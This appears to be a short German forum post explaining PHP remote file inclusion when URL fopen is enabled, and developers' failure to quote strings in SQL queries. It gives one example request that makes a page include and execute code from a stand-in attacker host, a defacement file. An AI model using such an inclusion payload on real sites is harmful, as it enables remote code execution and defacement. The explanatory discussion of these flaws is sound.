naja, bei php ist es eben leicht, so eine sicherheitslücke einzubauen, nehmen wir nur mal das ganze thema rund um url_open, wodurch man urls wie dateien (mit fopen) öffnen kann.
nun schreibt jemand sowas wie index.php?include=inhalt.html - wenn er das mit perl macht, ist das unsauber, gibt aber nicht gleich so ein massives problem. bei php allerdings kann man, wenn url_open on ist, einfach index.php?include=
http://www.evilcode.com/letsdeface.txt einbinden und der fremde code wird dann included und wiederum auf php geparsed und ausgeführt - und schon ist man dabei.
ich denke ebenfalls, es ist primär ein problem der entwickler, zB benutzt zwar so ziemlich jeder mit php auch mysql, aber nur wenige lassen die strings, die sie in ihre sql-statements einsetzen, vorher auch quoten o_O